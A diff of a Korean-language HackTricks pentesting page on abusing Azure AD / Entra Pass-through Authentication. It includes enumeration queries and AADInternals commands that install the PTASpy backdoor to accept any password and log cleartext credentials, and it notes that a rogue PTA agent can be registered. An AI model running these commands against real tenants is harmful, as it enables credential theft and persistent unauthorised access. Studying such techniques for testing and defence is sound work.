diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index df73129b9..c43d678a8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -2,41 +2,75 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication은 사용자가 **동일한 비밀번호를 사용하여 온프레미스 및 클라우드 기반 애플리케이션에 로그인할 수 있도록** 합니다. 이 기능은 사용자가 기억해야 할 비밀번호가 하나 줄어들어 더 나은 경험을 제공하고, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들어 IT 헬프데스크 비용을 절감합니다. 사용자가 Azure AD를 사용하여 로그인할 때, 이 기능은 **온프레미스 Active Directory에 대해 사용자의 비밀번호를 직접 검증**합니다. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증을 사용하면 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호를 사용하여 로그인할 수 있습니다**. 이 기능은 사용자가 기억해야 할 비밀번호를 줄여 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 절감합니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다. -PTA에서는 **아이덴티티**가 **동기화**되지만 **비밀번호**는 PHS와 달리 **동기화되지 않습니다**. +PTA에서는 **아이덴티티**가 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 다름). 인증은 온프레미스 AD에서 검증되며, 클라우드와의 통신은 **온프레미스 서버**에서 실행되는 **인증 에이전트**에 의해 이루어집니다 (온프레미스 DC에 있을 필요는 없습니다). -### 인증 흐름 +### Authentication flow
1. 사용자는 **로그인**을 위해 **Azure AD**로 리디렉션되며, 여기서 **사용자 이름**과 **비밀번호**를 보냅니다. 2. **자격 증명**은 **암호화**되어 Azure AD의 **큐**에 설정됩니다. -3. **온프레미스 인증 에이전트**가 큐에서 **자격 증명**을 수집하고 **복호화**합니다. 이 에이전트를 **"Pass-through authentication agent"** 또는 **PTA agent**라고 합니다. +3. **온프레미스 인증 에이전트**가 큐에서 **자격 증명**을 수집하고 **복호화**합니다. 이 에이전트를 **"패스스루 인증 에이전트"** 또는 **PTA 에이전트**라고 합니다. 4. **에이전트**가 **온프레미스 AD**에 대해 자격 증명을 **검증**하고, 긍정적인 응답이 있을 경우 **사용자의 로그인을 완료**하기 위해 Azure AD에 **응답**을 **전송**합니다. > [!WARNING] -> 공격자가 **PTA**를 **타격**하면 큐에서 모든 **자격 증명**을 ( **명확한 텍스트**로) **볼 수 있습니다**.\ +> 공격자가 **PTA**를 **타협**하면 큐에서 모든 **자격 증명**을 ( **일반 텍스트**로) **볼 수 있습니다**.\ > 그는 또한 AzureAD에 대해 **모든 자격 증명**을 **검증**할 수 있습니다 (스켈레톤 키와 유사한 공격). -### 온프레미스 -> 클라우드 +### Enumeration -**PTA** **에이전트**가 실행 중인 **Azure AD Connect 서버**에 **관리자** 액세스가 있는 경우, **AADInternals** 모듈을 사용하여 **모든 비밀번호**가 유효하도록 **백도어**를 **삽입**할 수 있습니다: +From Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +온프레미스 서버에서 에이전트가 실행 중인지 확인하십시오: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +**Azure AD Connect 서버**에 **admin** 접근 권한이 있고 **PTA** **에이전트**가 실행 중인 경우, **AADInternals** 모듈을 사용하여 **모든 비밀번호**를 **검증하는 백도어**를 **삽입**할 수 있습니다 (따라서 모든 비밀번호가 인증에 유효하게 됩니다): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > 설치가 **실패하는 경우**, 이는 아마도 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)가 누락되었기 때문입니다. -이전 백도어가 설치된 머신에서 다음 cmdlet을 사용하여 **PTA 에이전트에 전송된 평문 비밀번호를 볼 수 있습니다**: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` -이 백도어는 다음을 수행합니다: +이 백도어는: - 숨겨진 폴더 `C:\PTASpy`를 생성합니다. - `PTASpy.dll`을 `C:\PTASpy`에 복사합니다. @@ -45,20 +79,18 @@ Get-AADIntPTASpyLog -DecodePasswords > [!NOTE] > AzureADConnectAuthenticationAgent 서비스가 재시작되면 PTASpy는 “언로드”되며 다시 설치해야 합니다. -### 클라우드 -> 온프레미스 - > [!CAUTION] -> 클라우드에서 **GA 권한**을 얻은 후, **공격자가 제어하는 머신**에 설정하여 **새 PTA 에이전트**를 **등록**할 수 있습니다. 에이전트가 **설정**되면, **이전** 단계를 **반복**하여 **모든 비밀번호를 사용하여 인증**하고, **비밀번호를 평문으로 얻을 수 있습니다.** +> 클라우드에서 **GA 권한**을 얻은 후, **새 PTA 에이전트를 등록**할 수 있으며, **이전** 단계를 **반복**하여 **모든 비밀번호를 사용하여 인증**하고, **비밀번호를 평문으로 얻을 수 있습니다.** -### 원활한 SSO +### Seamless SSO -PTA와 함께 원활한 SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요: +PTA와 함께 Seamless SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요: {{#ref}} seamless-sso.md {{#endref}} -## 참조 +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)